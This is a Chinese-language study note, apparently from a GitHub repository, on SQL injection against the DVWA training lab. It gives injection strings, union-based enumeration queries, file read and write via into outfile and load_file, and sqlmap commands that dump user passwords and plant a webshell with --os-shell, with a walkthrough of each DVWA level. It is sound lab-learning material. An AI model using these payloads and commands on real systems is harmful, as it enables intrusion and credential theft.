链接: https://github.com/dhgdhg/DVWA-Note
SQL Injection
<details> <summary>预备知识</summary>url中使用
+
代表空格- 例:
http://../?id=1'+union+select+@@version,@@datadir--+
- 例:
三种注入poc, 验证查询的字段是什么类型的
- 查询字段为数字时
1 or 1=1
- 正常语句:
select x in t where x=
0
- 注入语句:
select x in t where x=
1 or 1=1
- 正常语句:
- 查询字段为单引号包裹的字符时
1' or '1'='1
- 正常语句:
select x in t where x='
0
'
- 注入语句:
select x in t where x='
1' or '1'='1
'
- 注意第一个和最后一个1的
'
是不闭合的
- 正常语句:
- 查询字段为双引号包裹的字符时
1" or "1"="1
- 正常语句:
select x in t where x="
0
"
- 注入语句:
select x in t where x="
1" or "1"="1
"
- 注意第一个和最后一个1的
"
是不闭合的
- 正常语句:
- 查询字段为数字时
SQL 注释
#
#comment
- url中被编码成
%23
--
-- comment
- url中可以使用
+
代表空格
/**/
/*comment*/
确定字段数
1' order by 10--
- 当字段数小于10时, 会报错
- 所以可以使用二分法一一排除, 最后确定字段的数目
确定字段数后可以使用,
union select
- 例:
select user,location where id=1 union select 1,2--
- 例:
select user,location where id=1 union select @@version,@datadir--
- 例:
查询数据库
- (可选)查询用户名:
select user()
- (可选)全部查询数据库名:
select schema_name from information_schema.schemata
- 查询数据库名:
select database()
- 根据数据库名查询表名:
select table_name from information_schema.tables where table_schema=database()
- 根据表名查询字段名:
select column_name from information_schema.columns where table_name='emm' and table_schema=database()
- 最后根据表名字段名, 可以查询出表里面内容, 例:
select name from 库名.表名
- (可选)查询用户名:
文件读写
- 写
- 例:
select 'Hello World' into outfile '/etc/emmm'
- 例:
- 读
- 例:
select load_file('/etc/emmm')
- 例:
- 写
多条变一条
select group_concat(name, pwd) from user
select group_concat(name,'-',pwd) from user
- 带分隔符
查库
select schema_name from information_schema.shcemata
sqlmap
sqlmap通过请求页面然后对返回的页面进行比对
指定链接
ptyhon sqlmap.py
-u "https://.../?id=1"
指定参数
ptyhon sqlmap.py -u "https://.../?id=1"
-p "id"
指定cookie
ptyhon sqlmap.py -u "https://.../?id=1" -p "id"
--cookie "name=admin;age=12"
获取当前用户名
ptyhon sqlmap.py -u "https://.../?id=1" -p "id" --cookie "name=admin;age=12"
--current-user
获取当前数据库名
ptyhon sqlmap.py -u "https://.../?id=1" -p "id" --cookie "name=admin;age=12"
--current-db
获取当前表名
ptyhon sqlmap.py -u "https://.../?id=1" -p "id" --cookie "name=admin;age=12"
-D emm --tables
-D emm
: 指定数据库
获取字段名
ptyhon sqlmap.py -u "https://.../?id=1" -p "id" --cookie "name=admin;age=12" -D emm
-T em --columns
-T em
: 指定表名
下载数据库
ptyhon sqlmap.py -u "https://.../?id=1" -p "id" --cookie "name=admin;age=12" -D emm -T em
-C "user, password" --dump
-C "user, password"
: 指定字段名
上传Webshell
ptyhon sqlmap.py -u "https://.../?id=1" -p "id" --cookie "name=admin;age=12" -D emm -T em -C "user, password"
--os-shell
- 然后指定路径
发送post请求
ptyhon sqlmap.py -u "https://.../"
--data "id=1" --cookie "name=admin;age=12" -D emm -T em
-C "user, password" --dump
从文件中加载HTTP请求(强烈推荐使用该方法发起请求)
ptyhon sqlmap.py -D emm -T em -C "user, password" --dump
-r "r.txt"
- 通过burpsuit捕获的请求然后保存到
r.txt
中
使用tor代理
--tor
使用google搜索
-g "XXX"
使用多线程
--threads 10
对网站爬取
--crawl
后面跟的参数是爬行的深度- 例子
User Agent
--user-agent=...
清除本地session
--flush-session
发现SQL注入时发出声音
--beep
指定闭合语句
--prefix=)))
- 此示例语句执行SQL为
select name from t where id=(((1
)))
- 此示例语句执行SQL为
--suffix=--
- 此示例语句执行SQL为
select name from t where id=1
--
- 此示例语句执行SQL为
不使用cast函数
--no-cast
- 对于一些版本的MySQL需要关闭此函数
不使用char函数
--no-escape
- 减少载荷
使用hex对数据编码
--hex
- 避免可能由于字符编码的问题导致数据的丢失
自动答复和判断
–batch
risk
-- risk 1
- 默认为1
- 没啥风险
-- risk 2
- 更多的查询基于时间的SQL注入
-- risk 3
- 添加OR基于SQL注入的测试
- 在某些情况下, 例如在UPDATE语句中进行SQL注入, 注入OR基于负载的有效负载可能导致表中所有条目的更新, 这肯定不是攻击者想要的
level
--level 1
- 默认为1 - Always (<100 requests)
--level 2
- Try a bit harder (100-200 requests)
- 对Cookie, Referer进行SQL注入测试
--level 3
- Good number of requests (200-500 requests)
- 对Cookie, Referer进行SQL注入测试
- 对User-Agent进行SQL注入测试
--level 4
- Extensive test (500-1000 requests)
--level 5
- You have plenty of time (>1000 requests)
- 对
Cookie
,Referer
进行SQL注入测试 - 对
User-Agent
进行SQL注入测试 - 对
Host
进行SQL注入测试
话说
--level 4
是个啥, 官网也没找到, 我太难了, 看了看源码, emmm# Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # --param-filter skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) ... # Ignore session-like parameters for --level < 4 elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False
Sub-tag:
Likelihood of a payload to damage the data integrity. Valid values: 1: Low risk 2: Medium risk 3: High risk
low
- 查看有注入没
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=itssoqv8p390d2re8shu6b8lo4"
- cookie的查看可以使用chrome开发者工具中的Network, 查看网页的Requests Headers中的Cookie获得
- 查看当前数据库
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" --current-db
- 查看当前数据库下的表
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa --tables
- 查看users表中有啥字段
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users --columns
- 查看并下载字段内容
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump
- 查看有注入没
medium
- 查看请求, 发现是post请求
- 试试sqlmap
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump
- 完美
high
- 先查看请求, emm和medium差不多, 不过post的地址变了
- 试试sqlmap
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli/session-input.php" -p "id" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump
- 完...完犊子, 分析哈,emmm
- 返回的结果在另一个页面,emm二阶SQL注入
- 参数:--second-url
- 由于sqlmap是通过对返回的response进行正则匹配的, 所以当返回的结果不在同一个页面时就要使用该参数,--second-url后面跟一个判断结果的页面的URL地址
- 返回的结果在另一个页面,emm二阶SQL注入
- 试...试sqlmap
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli/session-input.php" --second-url "http://192.168.119.131/DVWA/vulnerabilities/sqli/" -p "id" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump
- 奈斯